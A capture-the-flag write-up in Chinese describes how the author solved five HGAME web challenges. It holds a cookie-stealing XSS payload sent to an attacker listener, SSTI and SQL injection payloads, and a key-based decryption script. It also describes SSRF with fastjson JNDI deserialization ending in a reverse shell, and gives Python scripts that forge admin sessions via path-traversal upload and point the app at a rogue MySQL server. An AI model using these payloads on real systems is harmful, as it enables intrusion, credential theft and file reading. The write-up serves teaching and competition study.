HGAME-Week4-Web writeup

  • 2019 年 10 月 8 日
  • 筆記

來呀!來呀!關注我吧!!

【300pt】happyXss

檢測過濾

根據題目敘述 先拿上一次的payload試一下

我們發現網站後台將傳入的 <script> 替換成Happy。但是前邊和後邊的數據並沒有被過濾,但是後邊的會被當成前邊標籤的屬性,因此嘗試修改下前邊的數據。

由此可見後台還對一些關鍵字進行替換

構造payload

經過測試發現並沒有對 eval() 函數 和src 屬性進行過濾, 但是經過測試及查詢發現src屬性由於 CSP內容安全策略 無法調用外部腳本。

但是可以使用編碼的形式進行繞過 (1)base64編碼 eval(atob(內容的base64形式))

(2)ascill碼 eval (String.fromCharCode(內容的ascill碼形式))

這裡直接採用base64編碼 進行繞過 構造payload:

<script >eval(atob('這段為payload的base64形式'))</script >

需要base64加密的payload 如下

window.location.href="//xxx.xxx.xxx.xxx:xx/?"+document.cookie

伺服器配置

登錄伺服器以後 使用nc -lnvp 2017 來達到監聽2017埠流量。 之後提交我們xss的payload ,經過後台bot訪問後,我們伺服器的2017埠就可以收到數據回饋。

使用burp POST數據並獲取flag

頁面有點難用,此時直接嘗試burpsuite發包打payload

然後查看伺服器,getflag

【300pt】happyPython

打開題目,發現是flask,有註冊和登陸功能,嘗試發現URL處存在SSTI(伺服器模板注入)

經過一番嘗試,發現WAF掉了小括弧(命令執行的話很多操作會用到),猜測是偽造cookie登陸admin。

使用payload:{{config}} 可以獲得secret_key

flask_session參考:[https://www.anquanke.com/post/id/163975

發現可疑參數_id,改為1,然後使用偽造cookie登陸即可獲得flag

【300pt】happyPHP

拿到題目,先看一波,功能有登陸,註冊。 此時嘗試註冊登陸,登陸後,發現如下hint。

此時獲取到源碼,我們可以進行源碼審計了。 在看git的時候,切記要看一下歷史記錄,可能會有新收穫

審計源碼

該題目是使用 PHP的laravel框架 搭建 部署的。要想靈活審計此類題目,我們需要先了解一下laravel框架的結構。 此時,我們先從routes/web.php開始,也就是從路由開始,先分析一下,一共多少頁面,實現了哪些功能 。

Route::get('/', 'StaticPagesController@home')->name('home'); Route::get('/register','UsersController@register')->name('register'); Route::get('/login','UsersController@login')->name('login'); Route::get('/users', 'UsersController@show')->name('users.show'); Route::post('/users', 'UsersController@store')->name('users.store'); Route::post('/login', 'SessionsController@store')->name('login'); Route::get('/logout', 'SessionsController@destroy')->name('logout');

拿第一行來舉例,意思是,根目錄會發送給StaticPagesController下的home方法進行解析。

在laravel中 ,核心程式碼在app文件夾內,此時我們從中可以找出StaticPagesController.php。進而分析

<?  class StaticPagesController extends Controller  {      public function home()      {          return view('static_pages/home');      }  }

可以發現,此時他return了一個view。也就是直接渲染一個模板。模板文件我們可以在/resources/views文件夾內找到。不過暫時我們不對模板文件進行審計。先從路由中的幾個方法入手,分析其項目邏輯。在這裡就不做過多介紹。

解題

通過對源碼的分析,我們可以發現一個可疑的點。如下第25行。

這行語句的意思是,從數據找出一條name=xxx的數據,然後將他的name給我。**

顯而易見,這是句廢話,而且分析還可以發現,該處沒有對單引號進行過濾。

(p.s.在laravel中,有更安全的資料庫查詢方式,一般是不會使用拼接字元串的。疑點+1)

此時嘗試對這個點進行注入。

我們在註冊的時候,會為name賦值。此時我們嘗試讀取admin的email。payload如下。

iiiiaa' union select email from `users` where `name`='admin

註冊時name填寫payload即可。然後登陸即可發現注入結果。同理可得密碼。

email:[email protected]  password:eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==

此時發現password是加密後的。我們在回到源碼進行分析。可以發現,在註冊的時候,他進行了加密。

翻閱資料,以及看config,可以發現它採用AES-256-CBC加密,key在.env文件中(git歷史記錄有)。然後解密即可。解密腳本如下:

# -*- coding: utf-8 -*-  from Crypto.Cipher import AES  import base64  import json      key = '9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='  enc = 'eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ=='    enc_obj = json.loads(base64.b64decode(enc))  iv = base64.b64decode(enc_obj['iv'])  value = base64.b64decode(enc_obj['value'])  key = base64.b64decode(key)  PADDING = ''  pad_it = lambda s: s+(16 - len(s)%16)*PADDING    generator = AES.new(key, AES.MODE_CBC, iv)  recovery = generator.decrypt(value)  print recovery.rstrip(PADDING)    # s:16:"9pqfPIer0Ir9UUfR";

最後直接登錄即可得到flag。

【600pt】happyJava

分析題目及資訊收集

拿到題目真心很懵,研究半天愣是不知道入口在哪。 最後問了一下主辦方,才要到一個hint:spring-boot-actuator。 actuator是一個spring-boot監控平台,如果有未授權訪問,會泄露很多敏感資訊。

http://sc0de.com/2018/09/02/spring-leakage/

嘗試對actuator的路徑進行掃描後,沒有發現。

actuator部署時,可以選擇與當前項目不同埠,此時通過掃描埠,可以得到以下資訊:

PORT STATE SERVICE 22/tcp open ssh 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 593/tcp filtered http-rpc-epmap 4444/tcp filtered krb524 6667/tcp filtered irc 9876/tcp open sd 31337/tcp open Elite

然後針對開放埠繼續進行掃描。最終發現mappings介面泄露如下資訊(路由表):

# url: http://119.28.26.122:9876/mappings    {      "/webjars/**": {"bean": "resourceHandlerMapping"},      "/**": {"bean": "resourceHandlerMapping"},      "/**/favicon.ico": {"bean": "faviconHandlerMapping"},      "{[/index],methods=[GET]}": {          "bean": "requestMappingHandlerMapping",          "method": "public java.lang.String me.lightless.happyjava.controller.MainController.Index()"      },      "{[/you_will_never_find_this_interface],methods=[GET]}": {          "bean": "requestMappingHandlerMapping",          "method": "public java.lang.String me.lightless.happyjava.controller.MainController.YouWillNeverFindThisInterface(java.lang.String)"      },      "{[/secret_flag_here],methods=[GET]}": {          "bean": "requestMappingHandlerMapping",          "method": "public java.lang.String me.lightless.happyjava.controller.MainController.SecretFlagHere(java.lang.String,javax.servlet.http.HttpServletRequest)"      },      "{[/error],methods=[GET]}": {          "bean": "requestMappingHandlerMapping",          "method": "public java.lang.String me.lightless.happyjava.controller.ErrorController.ShowCommonError()"      },      "{[/error],produces=[text/html]}": {          "bean": "requestMappingHandlerMapping",          "method": "public org.springframework.web.servlet.ModelAndView org.springframework.boot.autoconfigure.web.BasicErrorController.errorHtml(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse)"      },      "{[/error]}": {          "bean": "requestMappingHandlerMapping",          "method": "public org.springframework.http.ResponseEntity<java.util.Map<java.lang.String, java.lang.Object>> org.springframework.boot.autoconfigure.web.BasicErrorController.error(javax.servlet.http.HttpServletRequest)"      }  }

通過對路由表分析,可以發現/youwillneverfindthisinterface以及secretflag_here兩個介面。

解題ing

通過實際對兩個介面進行訪問,分析。可以得出以下結論

  1. /youwillneverfindthis_interface該介面,可能造成ssrf。
  2. /secretflaghere,無法偽造ip繞過,可結合1中的ssrf利用。

然後繼續分析第一個介面。通過分析,可以得出,他首先對url進行解析,獲取ip,判斷ip是否在黑名單中。之後進行對url訪問。

此時我們可以通過DNS rebinding來進行ssrf。 簡單來說就是,讓他在判斷ip的時候,將域名解析為正常ip,然後訪問時,將ip解析為127.0.0.1。(詳見http://www.bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/)

此時由於自己嘗試自己搭DNS rebinding服務失敗,蜜汁尷尬。(

最後無奈,只能通過簡單粗暴來解決。

然後burp爆破即可。

解決ing

爆破過程省略,然後繼續說哈。 通過ssrf,可以訪問到secretflaghere這個介面。提示需要有data參數,構造以下url。

http://119.28.26.122:23333/you_will_never_find_this_interface?url=http://dns.5am3.com:23333/secret_flag_here?data=123

傳入data=1234,可以看到返回結果

WoW! Convert JSON to object...OK! Result: 12443

可以知道該介面是一個json的解析介面。考慮到出題人心理。為什麼要給這個介面?當然是要考fastjson反序列化啦。

所以嘛,嘗試構造即可。 自己做的時候,坑點很多。在這裡介紹一下,就不細說了。

  1. 標點符號要經過2次url加密。否則會報waf
  2. 基於TemplateImpl的fastjson的poc無法使用,會報waf

在經過多次嘗試後,可以通過基於 JNDI 的 PoC來完成。

詳見:https://www.restran.net/2018/10/29/fastjson-rce-notes/#基於-JNDI-的-PoC 這裡就不多做介紹了。

最後通過反彈shell,獲取到目標靶機shell。讀取flag即可。

【600pt】happyGo

分析題目

嘗試分析網站,註冊登陸後,有一個hint,網站每5分鐘重置一次。然後就是有一個上傳頭像的地方 。此時可以上傳任意文件,並且跨目錄上傳。由於時間太短,不好對源站進行太多的嘗試。先down下來源碼,自己搭一波環境。

因為對go不太了解,一開始一直在想如何能覆蓋源碼,或者覆蓋模板 。最後肯定是失敗的。因為他是先編譯後在執行的 。所以沒覆蓋源碼一說。最後審查程式碼,在main.go中發現session的一些配置。

可以看出,它是將session作為文件,存到了當前的tmp目錄下。打開tmp目錄。可以看到他的目錄結構是。

- tmp  - - 1  - - - a  - - - - 1axxxxx

此時知道了session的存儲形式,以及存儲結構,我們可以嘗試偽造session,來登陸管理員賬戶。

繼續分析,看一下admin都有什麼許可權。分析程式碼,可以發現管理員是可以刪除用戶的。

此時,刪除用戶,首先會刪除用戶頭像文件,以及資料庫中刪除該用戶。 此時的用戶頭像文件我們可控。也就是可以任意刪除文件。

此時我們可以整理利用鏈如下: 偽造session登陸管理員 --> 刪除某敏感文件

說實話,到這裡真的卡住了,最後無奈向主辦方求hint。軟磨硬泡之下,要到一個連接。 https://lightless.me/archives/read-mysql-client-file.html

還是自己太菜了,看完之後,一聲woc。

最終利用鏈可以分析出來,就是:

偽造session登陸管理員 --> 刪除app.conf --> 重新install,寫入惡意sql伺服器 --> 任意文件讀取。

嘗試解題

首先,先進行session偽造,在這裡不多說了,大家可以分析一下poc。偽造session的poc如下。

# coding:utf-8  import requests  import base64    ip = "94.191.10.201"  host = "http://94.191.10.201:7000"  registerURL = host + "/auth/register"  loginURL= host + "/auth/login"  userinfoURL = host + "/userinfo"    req = requests.session()    # register  registerData={      "username":"ii5am3",      "password":"123456",      "confirmpass":"123456",  }  r= req.post(registerURL,data=registerData)  print("[+] register "+r.text)    # login  loginData={      "username":"ii5am3",      "password":"123456",  }  r = req.post(loginURL,data=loginData)  print(r"[+] login "+r.text)    # 獲取當前登陸用戶的sessionID  sessionID= r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value  print(r"[+] sessionID is "+ sessionID)    # 上傳session,偽造cookie  newSession = sessionID[0:2]+"5am3"  filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession)    # 本地搭建環境,登入uid為1的帳號,然後獲取他的session的文件即可。在這裡我給大家  attackSession = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC")  sessionFiles={      "uploadname" : (filename, attackSession)  }  r = req.post(userinfoURL,files=sessionFiles)  print(r"[+] newCookie is: PHPSESSID="+ newSession)

此時我們可以通過該session來登入管理員賬戶。(腳本多試幾次,有可能卡在題目環境更新時)

此時可以進行下一步,將user1,也就是你註冊的那個用戶的頭像修改,文件名為../../conf/app.conf 。(其實自己之前嘗試過直接覆蓋,但是未成功。迷..) 然後再進行刪除該用戶,此時可以進行重裝操作。 最終poc如下(時間太短了,手工肯定不行的。):

# coding:utf-8  import requests  import base64    # req表示user1,此時全程用該一個session  req = requests.session()    ip = "94.191.10.201"  host = "http://94.191.10.201:7000"  registerURL = host + "/auth/register"  loginURL= host + "/auth/login"  userinfoURL = host + "/userinfo"  deleteUserURL = host +"/admin/user/del/2"  installURl = host + "/install"    attackCookie = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC")    # register  registerData={      "username":"ii5am3",      "password":"123456",      "confirmpass":"123456",  }  r= req.post(registerURL,data=registerData)  print("[+] register "+r.text)    # login  loginData={      "username":"ii5am3",      "password":"123456",  }  r = req.post(loginURL,data=loginData)  print(r"[+] login "+r.text)    sessionID= r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value  print(r"[+] sessionID is "+ sessionID)    # 上傳session,偽造cookie  newSession = sessionID[0:2]+"5am3"  filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession)    sessionFiles={      "uploadname" : (filename, attackCookie)  }  r = req.post(userinfoURL,files=sessionFiles)    print(r"[+] newSessionID is "+ newSession)    # 修改頭像文件鏈接。    sessionFiles={      "uploadname" : ("../../conf/app.conf", "12345")  }  r = req.post(userinfoURL,files=sessionFiles)      # 新建一個請求,偽造admin進行刪除用戶  headers={      "Cookie":"PHPSESSID="+newSession  }  r = requests.get(deleteUserURL,headers=headers)    # 重新安裝環境,將其指向我們的惡意sql伺服器。  installData = {      "host":"1xx.1x9.1xx.x3",      "port":"2017",      "username":"hgame",      "password":"hgame",      "database":"hgame"  }    r = requests.post(installURl,installData)    # 再次登錄,使其再來一次請求。  loginData={      "username":"ii5am3",      "password":"123456",  }  r = req.post(loginURL,data=loginData)  print(r"[+] login "+r.text)

至此,我們這道題就做完了。再附一個自己用的惡意sql伺服器。

https://github.com/allyshka/Rogue-MySql-Server

Tags: